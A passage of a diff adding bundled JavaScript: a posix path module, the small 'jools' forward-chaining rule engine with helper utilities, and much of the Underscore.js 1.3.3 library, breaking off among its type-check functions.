+exports.resolve = function() {
+var resolvedPath = '',
+    resolvedAbsolute = false;
+
+for (var i = arguments.length; i >= -1 && !resolvedAbsolute; i--) {
+  var path = (i >= 0)
+      ? arguments[i]
+      : process.cwd();
+
+  // Skip empty and invalid entries
+  if (typeof path !== 'string' || !path) {
+    continue;
+  }
+
+  resolvedPath = path + '/' + resolvedPath;
+  resolvedAbsolute = path.charAt(0) === '/';
+}
+
+// At this point the path should be resolved to a full absolute path, but
+// handle relative paths to be safe (might happen when process.cwd() fails)
+
+// Normalize the path
+resolvedPath = normalizeArray(filter(resolvedPath.split('/'), function(p) {
+    return !!p;
+  }), !resolvedAbsolute).join('/');
+
+  return ((resolvedAbsolute ? '/' : '') + resolvedPath) || '.';
+};
+
+// path.normalize(path)
+// posix version
+exports.normalize = function(path) {
+var isAbsolute = path.charAt(0) === '/',
+    trailingSlash = path.slice(-1) === '/';
+
+// Normalize the path
+path = normalizeArray(filter(path.split('/'), function(p) {
+    return !!p;
+  }), !isAbsolute).join('/');
+
+  if (!path && !isAbsolute) {
+    path = '.';
+  }
+  if (path && trailingSlash) {
+    path += '/';
+  }
+  
+  return (isAbsolute ? '/' : '') + path;
+};
+
+
+// posix version
+exports.join = function() {
+  var paths = Array.prototype.slice.call(arguments, 0);
+  return exports.normalize(filter(paths, function(p, index) {
+    return p && typeof p === 'string';
+  }).join('/'));
+};
+
+
+exports.dirname = function(path) {
+  var dir = splitPathRe.exec(path)[1] || '';
+  var isWindows = false;
+  if (!dir) {
+    // No dirname
+    return '.';
+  } else if (dir.length === 1 ||
+      (isWindows && dir.length <= 3 && dir.charAt(1) === ':')) {
+    // It is just a slash or a drive letter with a slash
+    return dir;
+  } else {
+    // It is a full dirname, strip trailing slash
+    return dir.substring(0, dir.length - 1);
+  }
+};
+
+
+exports.basename = function(path, ext) {
+  var f = splitPathRe.exec(path)[2] || '';
+  // TODO: make this comparison case-insensitive on windows?
+  if (ext && f.substr(-1 * ext.length) === ext) {
+    f = f.substr(0, f.length - ext.length);
+  }
+  return f;
+};
+
+
+exports.extname = function(path) {
+  return splitPathRe.exec(path)[3] || '';
+};
+
+});
+
+require.define("/node_modules/jools/package.json", function (require, module, exports, __dirname, __filename) {
+module.exports = {"main":"./lib/jools"}
+});
+
+require.define("/node_modules/jools/lib/jools.js", function (require, module, exports, __dirname, __filename) {
+/**
+ * Module dependencies.
+ */
+var utils = require('./utils')
+  , _ = require('underscore');
+
+/**
+ * version
+ * @memberof browser_jools
+ */
+exports.version = '0.0.1';
+
+/**
+ * Jools constructor.
+ *
+ * A rule consists of:
+ *   - Descriptive name
+ *   - One or more conditions
+ *   - One or more consequences, which are fired when all conditions evaluate to true.
+ * @memberof browser_jools
+ * @param {Object} rules
+ */
+function Jools(rules) {
+  this.rules = rules;
+}
+
+/**
+ * execute rules with fact
+ *
+ * @param {Object} fact
+ */
+Jools.prototype.execute = function (fact) {
+  var self = this
+    , session = _.clone(fact)
+    , last_session = _.clone(fact)
+    , goal = false;
+
+  while (!goal) {
+    var changes = false;
+    for (var x=0; x < this.rules.length; x++) {
+      var rule = this.rules[x]
+        , outcome;
+
+      _.flatten([rule.condition]).forEach(function (cnd) {
+        cnd.__args = cnd.__args || utils.paramNames(cnd); 
+
+        if (outcome) {
+          outcome = outcome && cnd.apply({}, utils.paramsToArguments(session, cnd.__args)); 
+        } else {
+          outcome = cnd.apply({}, utils.paramsToArguments(session, cnd.__args));
+        }
+      });
+      if (outcome) {
+        _.flatten([rule.consequence]).forEach(function (csq) {
+          csq.__args = csq.__args || utils.paramNames(csq); 
+          csq.apply(session, utils.paramsToArguments(fact, csq.__args));
+          if (!_.isEqual(last_session,session)) {
+            // Fire all rules again!
+            changes = true;
+            last_session = _.clone(session);
+          } 
+        });
+      }
+      if(changes) break;
+    }
+    if (!changes) goal = true;
+  }
+  return session;
+};
+
+module.exports = Jools;
+
+
+});
+
+require.define("/node_modules/jools/lib/utils.js", function (require, module, exports, __dirname, __filename) {
+/**
+ * Returns an array of parameter names of the function f
+ * @memberof browser_jools
+ * @param {Function} f
+ */
+module.exports.paramNames = function (f) {
+  var m = /function[^\(]*\(([^\)]*)\)/.exec(f.toString());
+  if (!m) throw new TypeError("Invalid functions");
+
+  var params = [];
+  m[1].split(',').forEach(function (p) {
+    params.push(p.replace(/^\s*|\s*$/g, ''));
+  });
+
+  return params;
+};
+
+/**
+ * Creates an array of arguments
+ * @memberof browser_jools
+ * @param {Object} obj
+ * @param {Array} params
+ */
+module.exports.paramsToArguments = function (obj, params) {
+  var args = [];
+  params.forEach(function (p) {
+    args.push(obj[p]);
+  });
+  return args;
+}
+
+
+});
+
+require.define("/node_modules/underscore/package.json", function (require, module, exports, __dirname, __filename) {
+module.exports = {"main":"underscore.js"}
+});
+
+require.define("/node_modules/underscore/underscore.js", function (require, module, exports, __dirname, __filename) {
+//     Underscore.js 1.3.3
+//     (c) 2009-2012 Jeremy Ashkenas, DocumentCloud Inc.
+//     Underscore is freely distributable under the MIT license.
+//     Portions of Underscore are inspired or borrowed from Prototype,
+//     Oliver Steele's Functional, and John Resig's Micro-Templating.
+//     For all details and documentation:
+//     http://documentcloud.github.com/underscore
+
+(function() {
+
+  // Baseline setup
+  // --------------
+
+  // Establish the root object, `window` in the browser, or `global` on the server.
+  var root = this;
+
+  // Save the previous value of the `_` variable.
+  var previousUnderscore = root._;
+
+  // Establish the object that gets returned to break out of a loop iteration.
+  var breaker = {};
+
+  // Save bytes in the minified (but not gzipped) version:
+  var ArrayProto = Array.prototype, ObjProto = Object.prototype, FuncProto = Function.prototype;
+
+  // Create quick reference variables for speed access to core prototypes.
+  var slice            = ArrayProto.slice,
+      unshift          = ArrayProto.unshift,
+      toString         = ObjProto.toString,
+      hasOwnProperty   = ObjProto.hasOwnProperty;
+
+  // All **ECMAScript 5** native function implementations that we hope to use
+  // are declared here.
+  var
+    nativeForEach      = ArrayProto.forEach,
+    nativeMap          = ArrayProto.map,
+    nativeReduce       = ArrayProto.reduce,
+    nativeReduceRight  = ArrayProto.reduceRight,
+    nativeFilter       = ArrayProto.filter,
+    nativeEvery        = ArrayProto.every,
+    nativeSome         = ArrayProto.some,
+    nativeIndexOf      = ArrayProto.indexOf,
+    nativeLastIndexOf  = ArrayProto.lastIndexOf,
+    nativeIsArray      = Array.isArray,
+    nativeKeys         = Object.keys,
+    nativeBind         = FuncProto.bind;
+
+  // Create a safe reference to the Underscore object for use below.
+  var _ = function(obj) { return new wrapper(obj); };
+
+  // Export the Underscore object for **Node.js**, with
+  // backwards-compatibility for the old `require()` API. If we're in
+  // the browser, add `_` as a global object via a string identifier,
+  // for Closure Compiler "advanced" mode.
+  if (typeof exports !== 'undefined') {
+    if (typeof module !== 'undefined' && module.exports) {
+      exports = module.exports = _;
+    }
+    exports._ = _;
+  } else {
+    root['_'] = _;
+  }
+
+  // Current version.
+  _.VERSION = '1.3.3';
+
+  // Collection Functions
+  // --------------------
+
+  // The cornerstone, an `each` implementation, aka `forEach`.
+  // Handles objects with the built-in `forEach`, arrays, and raw objects.
+  // Delegates to **ECMAScript 5**'s native `forEach` if available.
+  var each = _.each = _.forEach = function(obj, iterator, context) {
+    if (obj == null) return;
+    if (nativeForEach && obj.forEach === nativeForEach) {
+      obj.forEach(iterator, context);
+    } else if (obj.length === +obj.length) {
+      for (var i = 0, l = obj.length; i < l; i++) {
+        if (i in obj && iterator.call(context, obj[i], i, obj) === breaker) return;
+      }
+    } else {
+      for (var key in obj) {
+        if (_.has(obj, key)) {
+          if (iterator.call(context, obj[key], key, obj) === breaker) return;
+        }
+      }
+    }
+  };
+
+  // Return the results of applying the iterator to each element.
+  // Delegates to **ECMAScript 5**'s native `map` if available.
+  _.map = _.collect = function(obj, iterator, context) {
+    var results = [];
+    if (obj == null) return results;
+    if (nativeMap && obj.map === nativeMap) return obj.map(iterator, context);
+    each(obj, function(value, index, list) {
+      results[results.length] = iterator.call(context, value, index, list);
+    });
+    if (obj.length === +obj.length) results.length = obj.length;
+    return results;
+  };
+
+  // **Reduce** builds up a single result from a list of values, aka `inject`,
+  // or `foldl`. Delegates to **ECMAScript 5**'s native `reduce` if available.
+  _.reduce = _.foldl = _.inject = function(obj, iterator, memo, context) {
+    var initial = arguments.length > 2;
+    if (obj == null) obj = [];
+    if (nativeReduce && obj.reduce === nativeReduce) {
+      if (context) iterator = _.bind(iterator, context);
+      return initial ? obj.reduce(iterator, memo) : obj.reduce(iterator);
+    }
+    each(obj, function(value, index, list) {
+      if (!initial) {
+        memo = value;
+        initial = true;
+      } else {
+        memo = iterator.call(context, memo, value, index, list);
+      }
+    });
+    if (!initial) throw new TypeError('Reduce of empty array with no initial value');
+    return memo;
+  };
+
+  // The right-associative version of reduce, also known as `foldr`.
+  // Delegates to **ECMAScript 5**'s native `reduceRight` if available.
+  _.reduceRight = _.foldr = function(obj, iterator, memo, context) {
+    var initial = arguments.length > 2;
+    if (obj == null) obj = [];
+    if (nativeReduceRight && obj.reduceRight === nativeReduceRight) {
+      if (context) iterator = _.bind(iterator, context);
+      return initial ? obj.reduceRight(iterator, memo) : obj.reduceRight(iterator);
+    }
+    var reversed = _.toArray(obj).reverse();
+    if (context && !initial) iterator = _.bind(iterator, context);
+    return initial ? _.reduce(reversed, iterator, memo, context) : _.reduce(reversed, iterator);
+  };
+
+  // Return the first value which passes a truth test. Aliased as `detect`.
+  _.find = _.detect = function(obj, iterator, context) {
+    var result;
+    any(obj, function(value, index, list) {
+      if (iterator.call(context, value, index, list)) {
+        result = value;
+        return true;
+      }
+    });
+    return result;
+  };
+
+  // Return all the elements that pass a truth test.
+  // Delegates to **ECMAScript 5**'s native `filter` if available.
+  // Aliased as `select`.
+  _.filter = _.select = function(obj, iterator, context) {
+    var results = [];
+    if (obj == null) return results;
+    if (nativeFilter && obj.filter === nativeFilter) return obj.filter(iterator, context);
+    each(obj, function(value, index, list) {
+      if (iterator.call(context, value, index, list)) results[results.length] = value;
+    });
+    return results;
+  };
+
+  // Return all the elements for which a truth test fails.
+  _.reject = function(obj, iterator, context) {
+    var results = [];
+    if (obj == null) return results;
+    each(obj, function(value, index, list) {
+      if (!iterator.call(context, value, index, list)) results[results.length] = value;
+    });
+    return results;
+  };
+
+  // Determine whether all of the elements match a truth test.
+  // Delegates to **ECMAScript 5**'s native `every` if available.
+  // Aliased as `all`.
+  _.every = _.all = function(obj, iterator, context) {
+    var result = true;
+    if (obj == null) return result;
+    if (nativeEvery && obj.every === nativeEvery) return obj.every(iterator, context);
+    each(obj, function(value, index, list) {
+      if (!(result = result && iterator.call(context, value, index, list))) return breaker;
+    });
+    return !!result;
+  };
+
+  // Determine if at least one element in the object matches a truth test.
+  // Delegates to **ECMAScript 5**'s native `some` if available.
+  // Aliased as `any`.
+  var any = _.some = _.any = function(obj, iterator, context) {
+    iterator || (iterator = _.identity);
+    var result = false;
+    if (obj == null) return result;
+    if (nativeSome && obj.some === nativeSome) return obj.some(iterator, context);
+    each(obj, function(value, index, list) {
+      if (result || (result = iterator.call(context, value, index, list))) return breaker;
+    });
+    return !!result;
+  };
+
+  // Determine if a given value is included in the array or object using `===`.
+  // Aliased as `contains`.
+  _.include = _.contains = function(obj, target) {
+    var found = false;
+    if (obj == null) return found;
+    if (nativeIndexOf && obj.indexOf === nativeIndexOf) return obj.indexOf(target) != -1;
+    found = any(obj, function(value) {
+      return value === target;
+    });
+    return found;
+  };
+
+  // Invoke a method (with arguments) on every item in a collection.
+  _.invoke = function(obj, method) {
+    var args = slice.call(arguments, 2);
+    return _.map(obj, function(value) {
+      return (_.isFunction(method) ? method || value : value[method]).apply(value, args);
+    });
+  };
+
+  // Convenience version of a common use case of `map`: fetching a property.
+  _.pluck = function(obj, key) {
+    return _.map(obj, function(value){ return value[key]; });
+  };
+
+  // Return the maximum element or (element-based computation).
+  _.max = function(obj, iterator, context) {
+    if (!iterator && _.isArray(obj) && obj[0] === +obj[0]) return Math.max.apply(Math, obj);
+    if (!iterator && _.isEmpty(obj)) return -Infinity;
+    var result = {computed : -Infinity};
+    each(obj, function(value, index, list) {
+      var computed = iterator ? iterator.call(context, value, index, list) : value;
+      computed >= result.computed && (result = {value : value, computed : computed});
+    });
+    return result.value;
+  };
+
+  // Return the minimum element (or element-based computation).
+  _.min = function(obj, iterator, context) {
+    if (!iterator && _.isArray(obj) && obj[0] === +obj[0]) return Math.min.apply(Math, obj);
+    if (!iterator && _.isEmpty(obj)) return Infinity;
+    var result = {computed : Infinity};
+    each(obj, function(value, index, list) {
+      var computed = iterator ? iterator.call(context, value, index, list) : value;
+      computed < result.computed && (result = {value : value, computed : computed});
+    });
+    return result.value;
+  };
+
+  // Shuffle an array.
+  _.shuffle = function(obj) {
+    var shuffled = [], rand;
+    each(obj, function(value, index, list) {
+      rand = Math.floor(Math.random() * (index + 1));
+      shuffled[index] = shuffled[rand];
+      shuffled[rand] = value;
+    });
+    return shuffled;
+  };
+
+  // Sort the object's values by a criterion produced by an iterator.
+  _.sortBy = function(obj, val, context) {
+    var iterator = _.isFunction(val) ? val : function(obj) { return obj[val]; };
+    return _.pluck(_.map(obj, function(value, index, list) {
+      return {
+        value : value,
+        criteria : iterator.call(context, value, index, list)
+      };
+    }).sort(function(left, right) {
+      var a = left.criteria, b = right.criteria;
+      if (a === void 0) return 1;
+      if (b === void 0) return -1;
+      return a < b ? -1 : a > b ? 1 : 0;
+    }), 'value');
+  };
+
+  // Groups the object's values by a criterion. Pass either a string attribute
+  // to group by, or a function that returns the criterion.
+  _.groupBy = function(obj, val) {
+    var result = {};
+    var iterator = _.isFunction(val) ? val : function(obj) { return obj[val]; };
+    each(obj, function(value, index) {
+      var key = iterator(value, index);
+      (result[key] || (result[key] = [])).push(value);
+    });
+    return result;
+  };
+
+  // Use a comparator function to figure out at what index an object should
+  // be inserted so as to maintain order. Uses binary search.
+  _.sortedIndex = function(array, obj, iterator) {
+    iterator || (iterator = _.identity);
+    var low = 0, high = array.length;
+    while (low < high) {
+      var mid = (low + high) >> 1;
+      iterator(array[mid]) < iterator(obj) ? low = mid + 1 : high = mid;
+    }
+    return low;
+  };
+
+  // Safely convert anything iterable into a real, live array.
+  _.toArray = function(obj) {
+    if (!obj)                                     return [];
+    if (_.isArray(obj))                           return slice.call(obj);
+    if (_.isArguments(obj))                       return slice.call(obj);
+    if (obj.toArray && _.isFunction(obj.toArray)) return obj.toArray();
+    return _.values(obj);
+  };
+
+  // Return the number of elements in an object.
+  _.size = function(obj) {
+    return _.isArray(obj) ? obj.length : _.keys(obj).length;
+  };
+
+  // Array Functions
+  // ---------------
+
+  // Get the first element of an array. Passing **n** will return the first N
+  // values in the array. Aliased as `head` and `take`. The **guard** check
+  // allows it to work with `_.map`.
+  _.first = _.head = _.take = function(array, n, guard) {
+    return (n != null) && !guard ? slice.call(array, 0, n) : array[0];
+  };
+
+  // Returns everything but the last entry of the array. Especcialy useful on
+  // the arguments object. Passing **n** will return all the values in
+  // the array, excluding the last N. The **guard** check allows it to work with
+  // `_.map`.
+  _.initial = function(array, n, guard) {
+    return slice.call(array, 0, array.length - ((n == null) || guard ? 1 : n));
+  };
+
+  // Get the last element of an array. Passing **n** will return the last N
+  // values in the array. The **guard** check allows it to work with `_.map`.
+  _.last = function(array, n, guard) {
+    if ((n != null) && !guard) {
+      return slice.call(array, Math.max(array.length - n, 0));
+    } else {
+      return array[array.length - 1];
+    }
+  };
+
+  // Returns everything but the first entry of the array. Aliased as `tail`.
+  // Especially useful on the arguments object. Passing an **index** will return
+  // the rest of the values in the array from that index onward. The **guard**
+  // check allows it to work with `_.map`.
+  _.rest = _.tail = function(array, index, guard) {
+    return slice.call(array, (index == null) || guard ? 1 : index);
+  };
+
+  // Trim out all falsy values from an array.
+  _.compact = function(array) {
+    return _.filter(array, function(value){ return !!value; });
+  };
+
+  // Return a completely flattened version of an array.
+  _.flatten = function(array, shallow) {
+    return _.reduce(array, function(memo, value) {
+      if (_.isArray(value)) return memo.concat(shallow ? value : _.flatten(value));
+      memo[memo.length] = value;
+      return memo;
+    }, []);
+  };
+
+  // Return a version of the array that does not contain the specified value(s).
+  _.without = function(array) {
+    return _.difference(array, slice.call(arguments, 1));
+  };
+
+  // Produce a duplicate-free version of the array. If the array has already
+  // been sorted, you have the option of using a faster algorithm.
+  // Aliased as `unique`.
+  _.uniq = _.unique = function(array, isSorted, iterator) {
+    var initial = iterator ? _.map(array, iterator) : array;
+    var results = [];
+    // The `isSorted` flag is irrelevant if the array only contains two elements.
+    if (array.length < 3) isSorted = true;
+    _.reduce(initial, function (memo, value, index) {
+      if (isSorted ? _.last(memo) !== value || !memo.length : !_.include(memo, value)) {
+        memo.push(value);
+        results.push(array[index]);
+      }
+      return memo;
+    }, []);
+    return results;
+  };
+
+  // Produce an array that contains the union: each distinct element from all of
+  // the passed-in arrays.
+  _.union = function() {
+    return _.uniq(_.flatten(arguments, true));
+  };
+
+  // Produce an array that contains every item shared between all the
+  // passed-in arrays. (Aliased as "intersect" for back-compat.)
+  _.intersection = _.intersect = function(array) {
+    var rest = slice.call(arguments, 1);
+    return _.filter(_.uniq(array), function(item) {
+      return _.every(rest, function(other) {
+        return _.indexOf(other, item) >= 0;
+      });
+    });
+  };
+
+  // Take the difference between one array and a number of other arrays.
+  // Only the elements present in just the first array will remain.
+  _.difference = function(array) {
+    var rest = _.flatten(slice.call(arguments, 1), true);
+    return _.filter(array, function(value){ return !_.include(rest, value); });
+  };
+
+  // Zip together multiple lists into a single array -- elements that share
+  // an index go together.
+  _.zip = function() {
+    var args = slice.call(arguments);
+    var length = _.max(_.pluck(args, 'length'));
+    var results = new Array(length);
+    for (var i = 0; i < length; i++) results[i] = _.pluck(args, "" + i);
+    return results;
+  };
+
+  // If the browser doesn't supply us with indexOf (I'm looking at you, **MSIE**),
+  // we need this function. Return the position of the first occurrence of an
+  // item in an array, or -1 if the item is not included in the array.
+  // Delegates to **ECMAScript 5**'s native `indexOf` if available.
+  // If the array is large and already in sort order, pass `true`
+  // for **isSorted** to use binary search.
+  _.indexOf = function(array, item, isSorted) {
+    if (array == null) return -1;
+    var i, l;
+    if (isSorted) {
+      i = _.sortedIndex(array, item);
+      return array[i] === item ? i : -1;
+    }
+    if (nativeIndexOf && array.indexOf === nativeIndexOf) return array.indexOf(item);
+    for (i = 0, l = array.length; i < l; i++) if (i in array && array[i] === item) return i;
+    return -1;
+  };
+
+  // Delegates to **ECMAScript 5**'s native `lastIndexOf` if available.
+  _.lastIndexOf = function(array, item) {
+    if (array == null) return -1;
+    if (nativeLastIndexOf && array.lastIndexOf === nativeLastIndexOf) return array.lastIndexOf(item);
+    var i = array.length;
+    while (i--) if (i in array && array[i] === item) return i;
+    return -1;
+  };
+
+  // Generate an integer Array containing an arithmetic progression. A port of
+  // the native Python `range()` function. See
+  // [the Python documentation](http://docs.python.org/library/functions.html#range).
+  _.range = function(start, stop, step) {
+    if (arguments.length <= 1) {
+      stop = start || 0;
+      start = 0;
+    }
+    step = arguments[2] || 1;
+
+    var len = Math.max(Math.ceil((stop - start) / step), 0);
+    var idx = 0;
+    var range = new Array(len);
+
+    while(idx < len) {
+      range[idx++] = start;
+      start += step;
+    }
+
+    return range;
+  };
+
+  // Function (ahem) Functions
+  // ------------------
+
+  // Reusable constructor function for prototype setting.
+  var ctor = function(){};
+
+  // Create a function bound to a given object (assigning `this`, and arguments,
+  // optionally). Binding with arguments is also known as `curry`.
+  // Delegates to **ECMAScript 5**'s native `Function.bind` if available.
+  // We check for `func.bind` first, to fail fast when `func` is undefined.
+  _.bind = function bind(func, context) {
+    var bound, args;
+    if (func.bind === nativeBind && nativeBind) return nativeBind.apply(func, slice.call(arguments, 1));
+    if (!_.isFunction(func)) throw new TypeError;
+    args = slice.call(arguments, 2);
+    return bound = function() {
+      if (!(this instanceof bound)) return func.apply(context, args.concat(slice.call(arguments)));
+      ctor.prototype = func.prototype;
+      var self = new ctor;
+      var result = func.apply(self, args.concat(slice.call(arguments)));
+      if (Object(result) === result) return result;
+      return self;
+    };
+  };
+
+  // Bind all of an object's methods to that object. Useful for ensuring that
+  // all callbacks defined on an object belong to it.
+  _.bindAll = function(obj) {
+    var funcs = slice.call(arguments, 1);
+    if (funcs.length == 0) funcs = _.functions(obj);
+    each(funcs, function(f) { obj[f] = _.bind(obj[f], obj); });
+    return obj;
+  };
+
+  // Memoize an expensive function by storing its results.
+  _.memoize = function(func, hasher) {
+    var memo = {};
+    hasher || (hasher = _.identity);
+    return function() {
+      var key = hasher.apply(this, arguments);
+      return _.has(memo, key) ? memo[key] : (memo[key] = func.apply(this, arguments));
+    };
+  };
+
+  // Delays a function for the given number of milliseconds, and then calls
+  // it with the arguments supplied.
+  _.delay = function(func, wait) {
+    var args = slice.call(arguments, 2);
+    return setTimeout(function(){ return func.apply(null, args); }, wait);
+  };
+
+  // Defers a function, scheduling it to run after the current call stack has
+  // cleared.
+  _.defer = function(func) {
+    return _.delay.apply(_, [func, 1].concat(slice.call(arguments, 1)));
+  };
+
+  // Returns a function, that, when invoked, will only be triggered at most once
+  // during a given window of time.
+  _.throttle = function(func, wait) {
+    var context, args, timeout, throttling, more, result;
+    var whenDone = _.debounce(function(){ more = throttling = false; }, wait);
+    return function() {
+      context = this; args = arguments;
+      var later = function() {
+        timeout = null;
+        if (more) func.apply(context, args);
+        whenDone();
+      };
+      if (!timeout) timeout = setTimeout(later, wait);
+      if (throttling) {
+        more = true;
+      } else {
+        result = func.apply(context, args);
+      }
+      whenDone();
+      throttling = true;
+      return result;
+    };
+  };
+
+  // Returns a function, that, as long as it continues to be invoked, will not
+  // be triggered. The function will be called after it stops being called for
+  // N milliseconds. If `immediate` is passed, trigger the function on the
+  // leading edge, instead of the trailing.
+  _.debounce = function(func, wait, immediate) {
+    var timeout;
+    return function() {
+      var context = this, args = arguments;
+      var later = function() {
+        timeout = null;
+        if (!immediate) func.apply(context, args);
+      };
+      if (immediate && !timeout) func.apply(context, args);
+      clearTimeout(timeout);
+      timeout = setTimeout(later, wait);
+    };
+  };
+
+  // Returns a function that will be executed at most one time, no matter how
+  // often you call it. Useful for lazy initialization.
+  _.once = function(func) {
+    var ran = false, memo;
+    return function() {
+      if (ran) return memo;
+      ran = true;
+      return memo = func.apply(this, arguments);
+    };
+  };
+
+  // Returns the first function passed as an argument to the second,
+  // allowing you to adjust arguments, run code before and after, and
+  // conditionally execute the original function.
+  _.wrap = function(func, wrapper) {
+    return function() {
+      var args = [func].concat(slice.call(arguments, 0));
+      return wrapper.apply(this, args);
+    };
+  };
+
+  // Returns a function that is the composition of a list of functions, each
+  // consuming the return value of the function that follows.
+  _.compose = function() {
+    var funcs = arguments;
+    return function() {
+      var args = arguments;
+      for (var i = funcs.length - 1; i >= 0; i--) {
+        args = [funcs[i].apply(this, args)];
+      }
+      return args[0];
+    };
+  };
+
+  // Returns a function that will only be executed after being called N times.
+  _.after = function(times, func) {
+    if (times <= 0) return func();
+    return function() {
+      if (--times < 1) { return func.apply(this, arguments); }
+    };
+  };
+
+  // Object Functions
+  // ----------------
+
+  // Retrieve the names of an object's properties.
+  // Delegates to **ECMAScript 5**'s native `Object.keys`
+  _.keys = nativeKeys || function(obj) {
+    if (obj !== Object(obj)) throw new TypeError('Invalid object');
+    var keys = [];
+    for (var key in obj) if (_.has(obj, key)) keys[keys.length] = key;
+    return keys;
+  };
+
+  // Retrieve the values of an object's properties.
+  _.values = function(obj) {
+    return _.map(obj, _.identity);
+  };
+
+  // Return a sorted list of the function names available on the object.
+  // Aliased as `methods`
+  _.functions = _.methods = function(obj) {
+    var names = [];
+    for (var key in obj) {
+      if (_.isFunction(obj[key])) names.push(key);
+    }
+    return names.sort();
+  };
+
+  // Extend a given object with all the properties in passed-in object(s).
+  _.extend = function(obj) {
+    each(slice.call(arguments, 1), function(source) {
+      for (var prop in source) {
+        obj[prop] = source[prop];
+      }
+    });
+    return obj;
+  };
+
+  // Return a copy of the object only containing the whitelisted properties.
+  _.pick = function(obj) {
+    var result = {};
+    each(_.flatten(slice.call(arguments, 1)), function(key) {
+      if (key in obj) result[key] = obj[key];
+    });
+    return result;
+  };
+
+  // Fill in a given object with default properties.
+  _.defaults = function(obj) {
+    each(slice.call(arguments, 1), function(source) {
+      for (var prop in source) {
+        if (obj[prop] == null) obj[prop] = source[prop];
+      }
+    });
+    return obj;
+  };
+
+  // Create a (shallow-cloned) duplicate of an object.
+  _.clone = function(obj) {
+    if (!_.isObject(obj)) return obj;
+    return _.isArray(obj) ? obj.slice() : _.extend({}, obj);
+  };
+
+  // Invokes interceptor with the obj, and then returns obj.
+  // The primary purpose of this method is to "tap into" a method chain, in
+  // order to perform operations on intermediate results within the chain.
+  _.tap = function(obj, interceptor) {
+    interceptor(obj);
+    return obj;
+  };
+
+  // Internal recursive comparison function.
+  function eq(a, b, stack) {
+    // Identical objects are equal. `0 === -0`, but they aren't identical.
+    // See the Harmony `egal` proposal: http://wiki.ecmascript.org/doku.php?id=harmony:egal.
+    if (a === b) return a !== 0 || 1 / a == 1 / b;
+    // A strict comparison is necessary because `null == undefined`.
+    if (a == null || b == null) return a === b;
+    // Unwrap any wrapped objects.
+    if (a._chain) a = a._wrapped;
+    if (b._chain) b = b._wrapped;
+    // Invoke a custom `isEqual` method if one is provided.
+    if (a.isEqual && _.isFunction(a.isEqual)) return a.isEqual(b);
+    if (b.isEqual && _.isFunction(b.isEqual)) return b.isEqual(a);
+    // Compare `[[Class]]` names.
+    var className = toString.call(a);
+    if (className != toString.call(b)) return false;
+    switch (className) {
+      // Strings, numbers, dates, and booleans are compared by value.
+      case '[object String]':
+        // Primitives and their corresponding object wrappers are equivalent; thus, `"5"` is
+        // equivalent to `new String("5")`.
+        return a == String(b);
+      case '[object Number]':
+        // `NaN`s are equivalent, but non-reflexive. An `egal` comparison is performed for
+        // other numeric values.
+        return a != +a ? b != +b : (a == 0 ? 1 / a == 1 / b : a == +b);
+      case '[object Date]':
+      case '[object Boolean]':
+        // Coerce dates and booleans to numeric primitive values. Dates are compared by their
+        // millisecond representations. Note that invalid dates with millisecond representations
+        // of `NaN` are not equivalent.
+        return +a == +b;
+      // RegExps are compared by their source patterns and flags.
+      case '[object RegExp]':
+        return a.source == b.source &&
+               a.global == b.global &&
+               a.multiline == b.multiline &&
+               a.ignoreCase == b.ignoreCase;
+    }
+    if (typeof a != 'object' || typeof b != 'object') return false;
+    // Assume equality for cyclic structures. The algorithm for detecting cyclic
+    // structures is adapted from ES 5.1 section 15.12.3, abstract operation `JO`.
+    var length = stack.length;
+    while (length--) {
+      // Linear search. Performance is inversely proportional to the number of
+      // unique nested structures.
+      if (stack[length] == a) return true;
+    }
+    // Add the first object to the stack of traversed objects.
+    stack.push(a);
+    var size = 0, result = true;
+    // Recursively compare objects and arrays.
+    if (className == '[object Array]') {
+      // Compare array lengths to determine if a deep comparison is necessary.
+      size = a.length;
+      result = size == b.length;
+      if (result) {
+        // Deep compare the contents, ignoring non-numeric properties.
+        while (size--) {
+          // Ensure commutative equality for sparse arrays.
+          if (!(result = size in a == size in b && eq(a[size], b[size], stack))) break;
+        }
+      }
+    } else {
+      // Objects with different constructors are not equivalent.
+      if ('constructor' in a != 'constructor' in b || a.constructor != b.constructor) return false;
+      // Deep compare objects.
+      for (var key in a) {
+        if (_.has(a, key)) {
+          // Count the expected number of properties.
+          size++;
+          // Deep compare each member.
+          if (!(result = _.has(b, key) && eq(a[key], b[key], stack))) break;
+        }
+      }
+      // Ensure that both objects contain the same number of properties.
+      if (result) {
+        for (key in b) {
+          if (_.has(b, key) && !(size--)) break;
+        }
+        result = !size;
+      }
+    }
+    // Remove the first object from the stack of traversed objects.
+    stack.pop();
+    return result;
+  }
+
+  // Perform a deep comparison to check if two objects are equal.
+  _.isEqual = function(a, b) {
+    return eq(a, b, []);
+  };
+
+  // Is a given array, string, or object empty?
+  // An "empty" object has no enumerable own-properties.
+  _.isEmpty = function(obj) {
+    if (obj == null) return true;
+    if (_.isArray(obj) || _.isString(obj)) return obj.length === 0;
+    for (var key in obj) if (_.has(obj, key)) return false;
+    return true;
+  };
+
+  // Is a given value a DOM element?
+  _.isElement = function(obj) {
+    return !!(obj && obj.nodeType == 1);
+  };
+
+  // Is a given value an array?
+  // Delegates to ECMA5's native Array.isArray
+  _.isArray = nativeIsArray || function(obj) {
+    return toString.call(obj) == '[object Array]';
+  };
+
+  // Is a given variable an object?
+  _.isObject = function(obj) {
+    return obj === Object(obj);
+  };
+
+  // Is a given variable an arguments object?
+  _.isArguments = function(obj) {
+    return toString.call(obj) == '[object Arguments]';
+  };
+  if (!_.isArguments(arguments)) {
+    _.isArguments = function(obj) {
+      return !!(obj && _.has(obj, 'callee'));
+    };
+  }
+
+  // Is a given value a function?
+  _.isFunction = function(obj) {
+    return toString.call(obj) == '[object Function]';
+  };
+
+  // Is a given value a string?
+  _.isString = function(obj) {
+    return toString.call(obj) == '[object String]';
+  };
+
+  // Is a given value a number?
+  _.isNumber = function(obj) {
+    return toString.call(obj) == '[object Number]';
+  };
+
+  // Is a given object a finite number?
+  _.isFinite = function(obj) {
+    return _.isNumber(obj) && isFinite(obj);
+  };
+
+  // Is the given value `NaN`?
+  _.isNaN = function(obj) {
+    // `NaN` is the only value for which `===` is not reflexive.
+    return obj !== obj;
+  };
+
+  // Is a given value a boolean?
+  _.isBoolean = function(obj) {
+    return obj === true || obj === false || toString.call(obj) == '[object Boolean]';
+  };
+
+  // Is a given value a date?
+  _.isDate = function(obj) {
+    return toString.call(obj) == '[object Date]';
+  };
+
+  // Is the given value a regular expression?
+  _.isRegExp = function(obj) {
+    return toString.call(obj) == '[object RegExp]';
+  };
+
+  // Is a given value equal to null?
+  _.isNull = function(obj) {
+    return obj === null;
+  };
+
